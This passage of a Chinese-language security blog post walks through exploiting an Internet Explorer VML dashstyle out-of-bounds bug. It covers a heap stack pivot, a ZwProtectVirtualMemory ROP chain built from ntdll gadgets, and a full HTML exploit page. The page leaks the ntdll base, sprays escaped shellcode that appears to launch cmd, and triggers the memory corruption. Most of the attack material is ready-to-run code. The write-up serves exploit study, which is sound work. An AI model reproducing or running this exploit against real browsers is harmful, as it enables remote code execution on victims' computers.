但是我们可以通过越界访问,先在COAReturnedPointsForAnchor对象所在堆上布置好一些gadget
然后利用xchg eax,esp; pop;这种gadget,让esp先转移到堆上,然后由堆上的gadget再将栈转移到我们的rop链上。

相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pivot = [
ntdllbase + Number(0x0001cecb), //# RETN
ntdllbase + Number(0x0001da87), //# POP EBX # RETN
ntdllbase + Number(0x00046B13), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
]

function exploit(){
var vml1 = document.getElementById("vml1")

for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;

vml1.dashstyle.array.item(6) = rop_addr;
//在堆上布置gadget
vml1.dashstyle.array.item(8) = rop_addr; //rop_addr -> ebx
vml1.dashstyle.array.item(9) = ntdllbase + 0x000cb0f8; //# MOV ESP,EBX # POP EBX # RETN

for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}

代码分析

  1. call dword ptr [ecx+8]可以知道,首先执行的是rop第三句
    1. 交换eaxesp,栈被转移到堆上,esp指向vml1.dashstyle.array.item(6)
    2. pop esi; pop ediesp移动到vml1.dashstyle.array.item(8)
    3. pop ebx,将vml1.dashstyle.array.item(8)中的值存入ebx,即rop_addr -> ebx
    4. retn,程序返回到esp指向的vml1.dashstyle.array.item(9)
  2. 执行布置在堆上的gadget
    1. mov esp,ebx,因为ebx中使rop链的地址,栈被成功转移到rop链上。
    2. pop ebxesp指向rop链第二句
  3. 执行rop链第二句,POP EBX,将第三句弹出,防止再次栈转移

rop链

这里我们主要利用ntdll.dll中的ntdll!ZwProtectVirtualMemory函数来修改内存的属性。
要求的寄存器环境为

1
2
3
4
5
6
7
edi -> ZwProtectVirtualMemory
esi -> return_address
ebp -> 0xffffffff
esp -> ptr to BaseAddress
ebx -> ptr to NumberOfBytesToProtect
edx -> 0x00000040
ecx -> ptr to OldAccessProtection

这里ptr to OldAccessProtection可以是任意可写地址,将被用来存放以前的保护属性。
我们注意到,其中还存在另外2个指针数据,所以这就要求我们先将数据存储到内存中,再将其地址取出来。
所以这里我选择先将数据存储到ntdll.dll的data段,因为这里具有固定的偏移0xD7000,且内存可写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:005> !dh ntdll

...
...
SECTION HEADER #1
.text name
...
Execute Read
...

SECTION HEADER #2
RT name
...
Execute Read

SECTION HEADER #3
.data name
806C virtual size
D7000 virtual address
...
Read Write

SECTION HEADER #4
.rsrc name
...
Read Only

SECTION HEADER #5
.reloc name
...
Read Only

相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
function get_ropchain(shelladdr){
var data_off = 0x000D7000 + 0x2000;
var arr = [
ntdllbase + Number(0x0001cecb), //# RETN
ntdllbase + Number(0x0001da87), //# POP EBX # RETN
ntdllbase + Number(0x00046B13), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN

ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
ntdllbase + Number(data_off), //buf1 -> eax
ntdllbase + Number(0x000468e0), //# POP EDX # RETN
Number(shelladdr), //BaseAddress-> edx
ntdllbase + Number(0x000CA46F), //# MOV DWORD PTR DS:[EAX],EDX # POP EBP # RETN
0x90909090,

ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
ntdllbase + Number(data_off+0x4), //buf2 -> eax
ntdllbase + Number(0x000468e0), //# POP EDX # RETN
0x00010400, //NumberOfBytesToProtect -> edx
ntdllbase + Number(0x000CA46F), //# MOV DWORD PTR DS:[EAX],EDX # POP EBP # RETN
0x90909090,

ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
ntdllbase + Number(data_off-0x4), //buf3 -> eax
ntdllbase + Number(0x000468e0), //# POP EDX # RETN
ntdllbase + Number(0x000C3C64), //# PUSHAD # RETN
ntdllbase + Number(0x000CA46F), //# MOV DWORD PTR DS:[EAX],EDX # POP EBP # RETN
0x90909090,

ntdllbase + Number(0x00034b9a), //# POP EDI # RETN
ntdllbase + Number(0x00045360), //ZwProtectVirtualMemory -> edi
ntdllbase + Number(0x0001da87), //# POP EBX # RETN
ntdllbase + Number(data_off+0x4), //ptr to NumberOfBytesToProtect -> ebx
ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
0x8b37c4da,
ntdllbase + Number(0x000576DA), //# ADD EAX,74C83B66 # RETN
ntdllbase + Number(0x00008cbb), //# XCHG EAX,EDX # ADD AL,0 # POP ESI # POP EBP # RETN 0x04 (0x00000040 -> edx)
Number(shelladdr), //return address -> esi
0xffffffff, //0xffffffff -> ebp
ntdllbase + Number(0x000614e8), //# POP ECX # RETN
0x90909090,
ntdllbase + Number(data_off+0x8), //ptr to OldAccessProtection -> ecx
ntdllbase + Number(0x00037B20), //# POP ESP # RETN
ntdllbase + Number(data_off-0x4), //ptr to BaseAddress -> esp
0x90909090,
0x90909090
];
return arr;
}

代码分析

  • 前三句是栈转移代码
  • 通过MOV DWORD PTR DS:[EAX],EDX,分别将BaseAddressNumberOfBytesToProtect写入到buf1buf2
  • buf3中存储的是指令PUSHAD; RETN的地址,因为在rop最后我们会将buf3的地址写入esp,导致栈转移到buf中。
  • 因为不能出现0x0000这种数据,所以在将0x00000040写入edx时需要做一些处理。这里先将0x8b37c4da写入eax,然后将eax加上0x74C83B66,数据溢出后恰好是0x40,这就避免了0x0000的出现。

完整利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
<html lang="zh">
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>hpasserby</title>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>

<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />

<body>
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>

<script>
var rect_array = new Array();
var a = new Array();

var rop_addr;
var ntdllbase;

function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape");
rect_array[i].id = "rect" + i.toString();
document.body.appendChild(rect_array[i]);
}
}

function leak(){
var vml1 = document.getElementById("vml1");

for (var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}

for (var i = 0; i < 0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;

for (var i = 0; i < 0x400; i++){
marginLeftAddress_orgin = vml1.dashstyle.array.item(0x2E+0x16);
a[i].marginLeft = unescape("%uc933%u8b64%u3041%u408b%u8b0c%u1470%u96ad%u8bad%u1058%u538b%u033c%u8bd3%u7852%ud303%u728b%u0320%u33f3%u41c9%u03ad%u81c3%u4738%u7465%u7550%u81f4%u0478%u6f72%u4163%ueb75%u7881%u6408%u7264%u7565%u8be2%u2472%uf303%u8b66%u4e0c%u8b49%u1c72%uf303%u148b%u038e%u33d3%u53c9%u5152%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u83d2%u0cc4%u5059%u6651%u6cb9%u516c%u7268%u2e74%u6864%u736d%u6376%uff54%u83d0%u10c4%u548b%u0424%uc933%ub951%u6d65%u6162%u8351%u246c%u6103%u6c83%u0224%u6862%u7973%u7473%u5054%ud2ff%uc483%u5510%uec8b%uec83%u3304%ubef6%u6d63%u0064%u7589%u8dfc%ufc75%uff56%u83d0%u08c4%u5a5e%ub95b%u7365%u6173%u8351%u246c%u6103%u5068%u6f72%u6863%u7845%u7469%u5354%ud2ff%uc933%uff51%u5fd0%u5b5e%uc481%u00c0%u0000%uec3b%u81e8%uff6a%u8bff%u5de5%u00c3");
marginLeftAddress_modify = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress_orgin != marginLeftAddress_modify) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
var shelladdr = marginLeftAddress_modify;
ntdllbase = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16) - 0x464F0;
alert("ntdllbase: 0x" + ntdllbase.toString(16));
alert("shelladdr: 0x" + shelladdr.toString(16));

var rop_chain = tab2uni(get_ropchain(shelladdr));
a[i].marginLeft = rop_chain;
rop_addr = vml1.dashstyle.array.item(0x2E+0x16);

vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress_orgin;
vml1.dashstyle.array.length = length_orig;

alert("ropaddr: 0x" + rop_addr.toString(16));

break;
}
}
}

function get_ropchain(shelladdr){
var data_off = 0x000D7000 + 0x2000;
var arr = [
ntdllbase + Number(0x0001cecb), //# RETN
ntdllbase + Number(0x0001da87), //# POP EBX # RETN
ntdllbase + Number(0x00046B13), //# XCHG EAX,ESP # POP ESI # POP EDI # LEA EAX,DWORD PTR DS:[EDX-1] # POP EBX # RETN
ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
ntdllbase + Number(data_off), //buf1 -> eax
ntdllbase + Number(0x000468e0), //# POP EDX # RETN
Number(shelladdr), //BaseAddress-> edx
ntdllbase + Number(0x000CA46F), //# MOV DWORD PTR DS:[EAX],EDX # POP EBP # RETN
0x90909090,
ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
ntdllbase + Number(data_off+0x4), //buf2 -> eax
ntdllbase + Number(0x000468e0), //# POP EDX # RETN
0x00010400, //NumberOfBytesToProtect -> edx
ntdllbase + Number(0x000CA46F), //# MOV DWORD PTR DS:[EAX],EDX # POP EBP # RETN
0x90909090,
ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
ntdllbase + Number(data_off-0x4), //buf3 -> eax
ntdllbase + Number(0x000468e0), //# POP EDX # RETN
ntdllbase + Number(0x000C3C64), //# PUSHAD # RETN
ntdllbase + Number(0x000CA46F), //# MOV DWORD PTR DS:[EAX],EDX # POP EBP # RETN
0x90909090,

ntdllbase + Number(0x00034b9a), //# POP EDI # RETN
ntdllbase + Number(0x00045360), //ZwProtectVirtualMemory -> edi
ntdllbase + Number(0x0001da87), //# POP EBX # RETN
ntdllbase + Number(data_off+0x4), //ptr to NumberOfBytesToProtect -> ebx
ntdllbase + Number(0x0006D4F3), //# POP EAX # OR DH,DH # RETN
0x8b37c4da,
ntdllbase + Number(0x000576DA), //# ADD EAX,74C83B66 # RETN
ntdllbase + Number(0x00008cbb), //# XCHG EAX,EDX # ADD AL,0 # POP ESI # POP EBP # RETN 0x04 (0x00000040 -> edx)
Number(shelladdr), //return address -> esi
0xffffffff, //0xffffffff -> ebp
ntdllbase + Number(0x000614e8), //# POP ECX # RETN
0x90909090,
ntdllbase + Number(data_off+0x8), //ptr to OldAccessProtection -> ecx
ntdllbase + Number(0x00037B20), //# POP ESP # RETN
ntdllbase + Number(data_off-0x4), //ptr to BaseAddress -> esp
0x90909090,
0x90909090
];
return arr;
}
function d2u(dword) {
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(tab) {
var uni = ""
for(var i=0;i<tab.length;i++) {
uni += d2u(tab[i]);
}
return uni;
}

function exploit(){
var vml1 = document.getElementById("vml1")

for(var i = 0; i < 0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x300){
vml1.dashstyle = "1 2 3 4";
}
}

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;

vml1.dashstyle.array.item(6) = rop_addr;
vml1.dashstyle.array.item(8) = rop_addr; //rop_addr -> ebx
vml1.dashstyle.array.item(9) = ntdllbase + 0x000cb0f8; //# MOV ESP,EBX # POP EBX # RETN

for (var i=0; i<0x400; i++)
{
delete a[i];
CollectGarbage();
}
alert("done");
}

createRects();
leak();
exploit();
</script>
</html>

这里有个玄学问题是,去掉alert之后利用成功率变得极低。。。有点懵逼

参考资料

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/ef2727d8.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏